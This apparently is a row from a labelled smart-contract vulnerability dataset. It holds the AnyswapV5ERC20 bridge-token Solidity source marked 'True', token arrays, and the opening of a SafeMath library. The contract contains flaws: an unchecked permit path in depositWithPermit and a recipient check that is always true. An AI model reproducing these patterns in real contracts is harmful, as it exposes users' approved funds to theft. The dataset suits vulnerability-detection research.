1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1
] |
/**
*Submitted for verification at Etherscan.io on 2021-10-21
*/
/**
*Submitted for verification at BscScan.com on 2021-06-15
*/
/**
*Submitted for verification at BscScan.com on 2021-06-11
*/
/**
*Submitted for verification at polygonscan.com on 2021-06-11
*/
/**
*Submitted for verification at Etherscan.io on 2021-06-08
*/
/**
*Submitted for verification at Etherscan.io on 2021-06-07
*/
// SPDX-License-Identifier: GPL-3.0-or-later
pragma solidity 0.8.2;
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
function totalSupply() external view returns (uint256);
function decimals() external view returns (uint8);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
function permit(address target, address spender, uint256 value, uint256 deadline, uint8 v, bytes32 r, bytes32 s) external;
function transferWithPermit(address target, address to, uint256 value, uint256 deadline, uint8 v, bytes32 r, bytes32 s) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
/**
* @dev Interface of the ERC2612 standard as defined in the EIP.
*
* Adds the {permit} method, which can be used to change one's
* {IERC20-allowance} without having to send a transaction, by signing a
* message. This allows users to spend tokens without having to hold Ether.
*
* See https://eips.ethereum.org/EIPS/eip-2612.
*/
interface IERC2612 {
/**
* @dev Returns the current ERC2612 nonce for `owner`. This value must be
* included whenever a signature is generated for {permit}.
*
* Every successful call to {permit} increases ``owner``'s nonce by one. This
* prevents a signature from being used multiple times.
*/
function nonces(address owner) external view returns (uint256);
}
/// @dev Wrapped ERC-20 v10 (AnyswapV3ERC20) is an ERC-20 ERC-20 wrapper. You can `deposit` ERC-20 and obtain an AnyswapV3ERC20 balance which can then be operated as an ERC-20 token. You can
/// `withdraw` ERC-20 from AnyswapV3ERC20, which will then burn AnyswapV3ERC20 token in your wallet. The amount of AnyswapV3ERC20 token in any wallet is always identical to the
/// balance of ERC-20 deposited minus the ERC-20 withdrawn with that specific wallet.
interface IAnyswapV3ERC20 is IERC20, IERC2612 {
/// @dev Sets `value` as allowance of `spender` account over caller account's AnyswapV3ERC20 token,
/// after which a call is executed to an ERC677-compliant contract with the `data` parameter.
/// Emits {Approval} event.
/// Returns boolean value indicating whether operation succeeded.
/// For more information on approveAndCall format, see https://github.com/ethereum/EIPs/issues/677.
function approveAndCall(address spender, uint256 value, bytes calldata data) external returns (bool);
/// @dev Moves `value` AnyswapV3ERC20 token from caller's account to account (`to`),
/// after which a call is executed to an ERC677-compliant contract with the `data` parameter.
/// A transfer to `address(0)` triggers an ERC-20 withdraw matching the sent AnyswapV3ERC20 token in favor of caller.
/// Emits {Transfer} event.
/// Returns boolean value indicating whether operation succeeded.
/// Requirements:
/// - caller account must have at least `value` AnyswapV3ERC20 token.
/// For more information on transferAndCall format, see https://github.com/ethereum/EIPs/issues/677.
function transferAndCall(address to, uint value, bytes calldata data) external returns (bool);
}
interface ITransferReceiver {
function onTokenTransfer(address, uint, bytes calldata) external returns (bool);
}
interface IApprovalReceiver {
function onTokenApproval(address, uint, bytes calldata) external returns (bool);
}
library Address {
function isContract(address account) internal view returns (bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != 0x0 && codehash != accountHash);
}
}
library SafeERC20 {
using Address for address;
function safeTransfer(IERC20 token, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
require(address(token).isContract(), "SafeERC20: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract AnyswapV5ERC20 is IAnyswapV3ERC20 {
using SafeERC20 for IERC20;
string public name;
string public symbol;
uint8 public immutable override decimals;
address public immutable underlying;
bytes32 public constant PERMIT_TYPEHASH = keccak256("Permit(address owner,address spender,uint256 value,uint256 nonce,uint256 deadline)");
bytes32 public constant TRANSFER_TYPEHASH = keccak256("Transfer(address owner,address to,uint256 value,uint256 nonce,uint256 deadline)");
bytes32 public immutable DOMAIN_SEPARATOR;
/// @dev Records amount of AnyswapV3ERC20 token owned by account.
mapping (address => uint256) public override balanceOf;
uint256 private _totalSupply;
// init flag for setting immediate vault, needed for CREATE2 support
bool private _init;
// flag to enable/disable swapout vs vault.burn so multiple events are triggered
bool private _vaultOnly;
// configurable delay for timelock functions
uint public delay = 2*24*3600;
// set of minters, can be this bridge or other bridges
mapping(address => bool) public isMinter;
address[] public minters;
// primary controller of the token contract
address public vault;
address public pendingMinter;
uint public delayMinter;
address public pendingVault;
uint public delayVault;
uint public pendingDelay;
uint public delayDelay;
modifier onlyAuth() {
require(isMinter[msg.sender], "AnyswapV4ERC20: FORBIDDEN");
_;
}
modifier onlyVault() {
require(msg.sender == mpc(), "AnyswapV3ERC20: FORBIDDEN");
_;
}
function owner() public view returns (address) {
return mpc();
}
function mpc() public view returns (address) {
if (block.timestamp >= delayVault) {
return pendingVault;
}
return vault;
}
function setVaultOnly(bool enabled) external onlyVault {
_vaultOnly = enabled;
}
function initVault(address _vault) external onlyVault {
require(_init);
vault = _vault;
pendingVault = _vault;
isMinter[_vault] = true;
minters.push(_vault);
delayVault = block.timestamp;
_init = false;
}
function setMinter(address _auth) external onlyVault {
pendingMinter = _auth;
delayMinter = block.timestamp + delay;
}
function setVault(address _vault) external onlyVault {
pendingVault = _vault;
delayVault = block.timestamp + delay;
}
function applyVault() external onlyVault {
require(block.timestamp >= delayVault);
vault = pendingVault;
}
function applyMinter() external onlyVault {
require(block.timestamp >= delayMinter);
isMinter[pendingMinter] = true;
minters.push(pendingMinter);
}
// No time delay revoke minter emergency function
function revokeMinter(address _auth) external onlyVault {
isMinter[_auth] = false;
}
function getAllMinters() external view returns (address[] memory) {
return minters;
}
function changeVault(address newVault) external onlyVault returns (bool) {
require(newVault != address(0), "AnyswapV3ERC20: address(0x0)");
pendingVault = newVault;
delayVault = block.timestamp + delay;
emit LogChangeVault(vault, pendingVault, delayVault);
return true;
}
function changeMPCOwner(address newVault) public onlyVault returns (bool) {
require(newVault != address(0), "AnyswapV3ERC20: address(0x0)");
pendingVault = newVault;
delayVault = block.timestamp + delay;
emit LogChangeMPCOwner(vault, pendingVault, delayVault);
return true;
}
function mint(address to, uint256 amount) external onlyAuth returns (bool) {
_mint(to, amount);
return true;
}
function burn(address from, uint256 amount) external onlyAuth returns (bool) {
require(from != address(0), "AnyswapV3ERC20: address(0x0)");
_burn(from, amount);
return true;
}
function Swapin(bytes32 txhash, address account, uint256 amount) public onlyAuth returns (bool) {
_mint(account, amount);
emit LogSwapin(txhash, account, amount);
return true;
}
function Swapout(uint256 amount, address bindaddr) public returns (bool) {
require(!_vaultOnly, "AnyswapV4ERC20: onlyAuth");
require(bindaddr != address(0), "AnyswapV3ERC20: address(0x0)");
_burn(msg.sender, amount);
emit LogSwapout(msg.sender, bindaddr, amount);
return true;
}
/// @dev Records current ERC2612 nonce for account. This value must be included whenever signature is generated for {permit}.
/// Every successful call to {permit} increases account's nonce by one. This prevents signature from being used multiple times.
mapping (address => uint256) public override nonces;
/// @dev Records number of AnyswapV3ERC20 token that account (second) will be allowed to spend on behalf of another account (first) through {transferFrom}.
mapping (address => mapping (address => uint256)) public override allowance;
event LogChangeVault(address indexed oldVault, address indexed newVault, uint indexed effectiveTime);
event LogChangeMPCOwner(address indexed oldOwner, address indexed newOwner, uint indexed effectiveHeight);
event LogSwapin(bytes32 indexed txhash, address indexed account, uint amount);
event LogSwapout(address indexed account, address indexed bindaddr, uint amount);
event LogAddAuth(address indexed auth, uint timestamp);
constructor(string memory _name, string memory _symbol, uint8 _decimals, address _underlying, address _vault) {
name = _name;
symbol = _symbol;
decimals = _decimals;
underlying = _underlying;
if (_underlying != address(0x0)) {
require(_decimals == IERC20(_underlying).decimals());
}
// Use init to allow for CREATE2 accross all chains
_init = true;
// Disable/Enable swapout for v1 tokens vs mint/burn for v3 tokens
_vaultOnly = false;
vault = _vault;
pendingVault = _vault;
delayVault = block.timestamp;
uint256 chainId;
assembly {chainId := chainid()}
DOMAIN_SEPARATOR = keccak256(
abi.encode(
keccak256("EIP712Domain(string name,string version,uint256 chainId,address verifyingContract)"),
keccak256(bytes(name)),
keccak256(bytes("1")),
chainId,
address(this)));
}
/// @dev Returns the total supply of AnyswapV3ERC20 token as the ETH held in this contract.
function totalSupply() external view override returns (uint256) {
return _totalSupply;
}
function depositWithPermit(address target, uint256 value, uint256 deadline, uint8 v, bytes32 r, bytes32 s, address to) external returns (uint) {
IERC20(underlying).permit(target, address(this), value, deadline, v, r, s);
IERC20(underlying).safeTransferFrom(target, address(this), value);
return _deposit(value, to);
}
function depositWithTransferPermit(address target, uint256 value, uint256 deadline, uint8 v, bytes32 r, bytes32 s, address to) external returns (uint) {
IERC20(underlying).transferWithPermit(target, address(this), value, deadline, v, r, s);
return _deposit(value, to);
}
function deposit() external returns (uint) {
uint _amount = IERC20(underlying).balanceOf(msg.sender);
IERC20(underlying).safeTransferFrom(msg.sender, address(this), _amount);
return _deposit(_amount, msg.sender);
}
function deposit(uint amount) external returns (uint) {
IERC20(underlying).safeTransferFrom(msg.sender, address(this), amount);
return _deposit(amount, msg.sender);
}
function deposit(uint amount, address to) external returns (uint) {
IERC20(underlying).safeTransferFrom(msg.sender, address(this), amount);
return _deposit(amount, to);
}
function depositVault(uint amount, address to) external onlyVault returns (uint) {
return _deposit(amount, to);
}
function _deposit(uint amount, address to) internal returns (uint) {
require(underlying != address(0x0) && underlying != address(this));
_mint(to, amount);
return amount;
}
function withdraw() external returns (uint) {
return _withdraw(msg.sender, balanceOf[msg.sender], msg.sender);
}
function withdraw(uint amount) external returns (uint) {
return _withdraw(msg.sender, amount, msg.sender);
}
function withdraw(uint amount, address to) external returns (uint) {
return _withdraw(msg.sender, amount, to);
}
function withdrawVault(address from, uint amount, address to) external onlyVault returns (uint) {
return _withdraw(from, amount, to);
}
function _withdraw(address from, uint amount, address to) internal returns (uint) {
_burn(from, amount);
IERC20(underlying).safeTransfer(to, amount);
return amount;
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements
*
* - `to` cannot be the zero address.
*/
function _mint(address account, uint256 amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply += amount;
balanceOf[account] += amount;
emit Transfer(address(0), account, amount);
}
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function _burn(address account, uint256 amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
balanceOf[account] -= amount;
_totalSupply -= amount;
emit Transfer(account, address(0), amount);
}
/// @dev Sets `value` as allowance of `spender` account over caller account's AnyswapV3ERC20 token.
/// Emits {Approval} event.
/// Returns boolean value indicating whether operation succeeded.
function approve(address spender, uint256 value) external override returns (bool) {
// _approve(msg.sender, spender, value);
allowance[msg.sender][spender] = value;
emit Approval(msg.sender, spender, value);
return true;
}
/// @dev Sets `value` as allowance of `spender` account over caller account's AnyswapV3ERC20 token,
/// after which a call is executed to an ERC677-compliant contract with the `data` parameter.
/// Emits {Approval} event.
/// Returns boolean value indicating whether operation succeeded.
/// For more information on approveAndCall format, see https://github.com/ethereum/EIPs/issues/677.
function approveAndCall(address spender, uint256 value, bytes calldata data) external override returns (bool) {
// _approve(msg.sender, spender, value);
allowance[msg.sender][spender] = value;
emit Approval(msg.sender, spender, value);
return IApprovalReceiver(spender).onTokenApproval(msg.sender, value, data);
}
/// @dev Sets `value` as allowance of `spender` account over `owner` account's AnyswapV3ERC20 token, given `owner` account's signed approval.
/// Emits {Approval} event.
/// Requirements:
/// - `deadline` must be timestamp in future.
/// - `v`, `r` and `s` must be valid `secp256k1` signature from `owner` account over EIP712-formatted function arguments.
/// - the signature must use `owner` account's current nonce (see {nonces}).
/// - the signer cannot be zero address and must be `owner` account.
/// For more information on signature format, see https://eips.ethereum.org/EIPS/eip-2612#specification[relevant EIP section].
/// AnyswapV3ERC20 token implementation adapted from https://github.com/albertocuestacanada/ERC20Permit/blob/master/contracts/ERC20Permit.sol.
function permit(address target, address spender, uint256 value, uint256 deadline, uint8 v, bytes32 r, bytes32 s) external override {
require(block.timestamp <= deadline, "AnyswapV3ERC20: Expired permit");
bytes32 hashStruct = keccak256(
abi.encode(
PERMIT_TYPEHASH,
target,
spender,
value,
nonces[target]++,
deadline));
require(verifyEIP712(target, hashStruct, v, r, s) || verifyPersonalSign(target, hashStruct, v, r, s));
// _approve(owner, spender, value);
allowance[target][spender] = value;
emit Approval(target, spender, value);
}
function transferWithPermit(address target, address to, uint256 value, uint256 deadline, uint8 v, bytes32 r, bytes32 s) external override returns (bool) {
require(block.timestamp <= deadline, "AnyswapV3ERC20: Expired permit");
bytes32 hashStruct = keccak256(
abi.encode(
TRANSFER_TYPEHASH,
target,
to,
value,
nonces[target]++,
deadline));
require(verifyEIP712(target, hashStruct, v, r, s) || verifyPersonalSign(target, hashStruct, v, r, s));
require(to != address(0) || to != address(this));
uint256 balance = balanceOf[target];
require(balance >= value, "AnyswapV3ERC20: transfer amount exceeds balance");
balanceOf[target] = balance - value;
balanceOf[to] += value;
emit Transfer(target, to, value);
return true;
}
function verifyEIP712(address target, bytes32 hashStruct, uint8 v, bytes32 r, bytes32 s) internal view returns (bool) {
bytes32 hash = keccak256(
abi.encodePacked(
"\x19\x01",
DOMAIN_SEPARATOR,
hashStruct));
address signer = ecrecover(hash, v, r, s);
return (signer != address(0) && signer == target);
}
function verifyPersonalSign(address target, bytes32 hashStruct, uint8 v, bytes32 r, bytes32 s) internal view returns (bool) {
bytes32 hash = prefixed(hashStruct);
address signer = ecrecover(hash, v, r, s);
return (signer != address(0) && signer == target);
}
// Builds a prefixed hash to mimic the behavior of eth_sign.
function prefixed(bytes32 hash) internal view returns (bytes32) {
return keccak256(abi.encodePacked("\x19Ethereum Signed Message:\n32", DOMAIN_SEPARATOR, hash));
}
/// @dev Moves `value` AnyswapV3ERC20 token from caller's account to account (`to`).
/// A transfer to `address(0)` triggers an ETH withdraw matching the sent AnyswapV3ERC20 token in favor of caller.
/// Emits {Transfer} event.
/// Returns boolean value indicating whether operation succeeded.
/// Requirements:
/// - caller account must have at least `value` AnyswapV3ERC20 token.
function transfer(address to, uint256 value) external override returns (bool) {
require(to != address(0) || to != address(this));
uint256 balance = balanceOf[msg.sender];
require(balance >= value, "AnyswapV3ERC20: transfer amount exceeds balance");
balanceOf[msg.sender] = balance - value;
balanceOf[to] += value;
emit Transfer(msg.sender, to, value);
return true;
}
/// @dev Moves `value` AnyswapV3ERC20 token from account (`from`) to account (`to`) using allowance mechanism.
/// `value` is then deducted from caller account's allowance, unless set to `type(uint256).max`.
/// A transfer to `address(0)` triggers an ETH withdraw matching the sent AnyswapV3ERC20 token in favor of caller.
/// Emits {Approval} event to reflect reduced allowance `value` for caller account to spend from account (`from`),
/// unless allowance is set to `type(uint256).max`
/// Emits {Transfer} event.
/// Returns boolean value indicating whether operation succeeded.
/// Requirements:
/// - `from` account must have at least `value` balance of AnyswapV3ERC20 token.
/// - `from` account must have approved caller to spend at least `value` of AnyswapV3ERC20 token, unless `from` and caller are the same account.
function transferFrom(address from, address to, uint256 value) external override returns (bool) {
require(to != address(0) || to != address(this));
if (from != msg.sender) {
// _decreaseAllowance(from, msg.sender, value);
uint256 allowed = allowance[from][msg.sender];
if (allowed != type(uint256).max) {
require(allowed >= value, "AnyswapV3ERC20: request exceeds allowance");
uint256 reduced = allowed - value;
allowance[from][msg.sender] = reduced;
emit Approval(from, msg.sender, reduced);
}
}
uint256 balance = balanceOf[from];
require(balance >= value, "AnyswapV3ERC20: transfer amount exceeds balance");
balanceOf[from] = balance - value;
balanceOf[to] += value;
emit Transfer(from, to, value);
return true;
}
/// @dev Moves `value` AnyswapV3ERC20 token from caller's account to account (`to`),
/// after which a call is executed to an ERC677-compliant contract with the `data` parameter.
/// A transfer to `address(0)` triggers an ETH withdraw matching the sent AnyswapV3ERC20 token in favor of caller.
/// Emits {Transfer} event.
/// Returns boolean value indicating whether operation succeeded.
/// Requirements:
/// - caller account must have at least `value` AnyswapV3ERC20 token.
/// For more information on transferAndCall format, see https://github.com/ethereum/EIPs/issues/677.
function transferAndCall(address to, uint value, bytes calldata data) external override returns (bool) {
require(to != address(0) || to != address(this));
uint256 balance = balanceOf[msg.sender];
require(balance >= value, "AnyswapV3ERC20: transfer amount exceeds balance");
balanceOf[msg.sender] = balance - value;
balanceOf[to] += value;
emit Transfer(msg.sender, to, value);
return ITransferReceiver(to).onTokenTransfer(msg.sender, value, data);
}
} | True | [
101,
1013,
1008,
1008,
1008,
7864,
2005,
22616,
2012,
28855,
29378,
1012,
22834,
2006,
25682,
1011,
2184,
1011,
2538,
1008,
1013,
1013,
1008,
1008,
1008,
7864,
2005,
22616,
2012,
23533,
29378,
1012,
4012,
2006,
25682,
1011,
5757,
1011,
2321,
1008,
1013,
1013,
1008,
1008,
1008,
7864,
2005,
22616,
2012,
23533,
29378,
1012,
4012,
2006,
25682,
1011,
5757,
1011,
2340,
1008,
1013,
1013,
1008,
1008,
1008,
7864,
2005,
22616,
2012,
26572,
7446,
29378,
1012,
4012,
2006,
25682,
1011,
5757,
1011,
2340,
1008,
1013,
1013,
1008,
1008,
1008,
7864,
2005,
22616,
2012,
28855,
29378,
1012,
22834,
2006,
25682,
1011,
5757,
1011,
5511,
1008,
1013,
1013,
1008,
1008,
1008,
7864,
2005,
22616,
2012,
28855,
29378,
1012,
22834,
2006,
25682,
1011,
5757,
1011,
5718,
1008,
1013,
1013,
1013,
23772,
2595,
1011,
6105,
1011,
8909,
4765,
18095,
1024,
14246,
2140,
1011,
1017,
1012,
1014,
1011,
2030,
1011,
2101,
10975,
8490,
2863,
5024,
3012,
1014,
1012,
1022,
1012,
1016,
1025,
1013,
1008,
1008,
1008,
1030,
16475,
8278,
1997,
1996,
9413,
2278,
11387,
3115,
2004,
4225,
1999,
1996,
1041,
11514,
1012,
1008,
1013,
8278,
29464,
11890,
11387,
1063,
3853,
21948,
6279,
22086,
1006,
1007,
6327,
3193,
5651,
1006,
21318,
3372,
17788,
2575,
1007,
1025,
3853,
26066,
2015,
1006,
1007,
6327,
3193,
5651,
1006,
21318,
3372,
2620,
1007,
1025,
3853,
5703,
11253,
1006,
4769,
4070,
1007,
6327,
3193,
5651,
1006,
21318,
3372,
17788,
2575,
1007,
1025,
3853,
4651,
1006,
4769,
7799,
1010,
21318,
3372,
17788,
2575,
3815,
1007,
6327,
5651,
1006,
22017,
2140,
1007,
1025,
3853,
21447,
1006,
4769,
3954,
1010,
4769,
5247,
2121,
1007,
6327,
3193,
5651,
1006,
21318,
3372,
17788,
2575,
1007,
1025,
3853,
14300,
1006,
4769,
5247,
2121,
1010,
21318,
3372,
17788,
2575,
3815,
1007,
6327,
5651,
1006,
22017,
2140,
1007,
1025,
3853,
4651,
19699,
5358,
1006,
4769,
4604,
2121,
1010,
4769,
7799,
1010,
21318,
3372,
17788,
2575,
3815,
1007,
6327,
5651,
1006,
22017,
2140,
1007,
1025,
3853,
9146,
1006,
4769,
4539,
1010,
4769,
5247,
2121,
1010,
21318,
3372,
17788,
2575,
3643,
1010,
21318,
3372,
17788,
2575,
15117,
1010,
21318,
3372,
2620,
1058,
1010,
27507,
16703,
1054,
1010,
27507,
16703,
1055,
1007,
6327,
1025,
3853,
4651,
24415,
4842,
22930,
1006,
4769,
4539,
1010,
4769,
2000,
1010,
21318,
3372,
17788,
2575,
3643,
1010,
21318,
3372,
17788,
2575,
15117,
1010,
21318,
3372,
2620,
1058,
1010,
27507,
16703,
1054,
1010,
27507,
16703,
1055,
1007,
6327,
5651,
1006,
22017,
2140,
1007,
1025,
2724,
4651,
1006,
4769,
25331,
2013,
1010,
4769,
25331,
2000,
1010,
21318,
3372,
17788,
2575,
3643,
1007,
1025,
2724,
6226,
1006,
4769,
25331,
3954,
1010,
4769,
25331,
5247,
2121,
1010,
21318,
3372,
17788,
2575,
3643,
1007,
1025,
1065,
1013,
1008,
1008,
1008,
1030,
16475,
8278,
1997,
1996,
9413,
2278,
23833,
12521,
3115,
2004,
4225,
1999,
1996,
1041,
11514,
1012,
1008,
1008,
9909,
1996,
1063,
9146,
1065,
4118,
1010,
2029,
2064,
2022,
2109,
2000,
2689,
2028,
1005,
1055,
1008,
1063,
29464,
11890,
11387,
1011,
21447,
1065,
2302,
2383,
2000,
4604,
1037,
12598,
1010,
2011,
6608,
1037,
1008,
4471,
1012,
2023,
4473,
5198,
2000,
5247,
19204,
2015,
2302,
2383,
2000,
2907,
28855,
1012,
1008,
1008,
2156,
16770,
1024,
1013,
1013,
102
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1
] |
/**
*Submitted for verification at Etherscan.io on 2021-02-26
*/
/**
*Submitted for verification at Etherscan.io on 2020-12-03
*/
pragma solidity >=0.6.8;
//
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
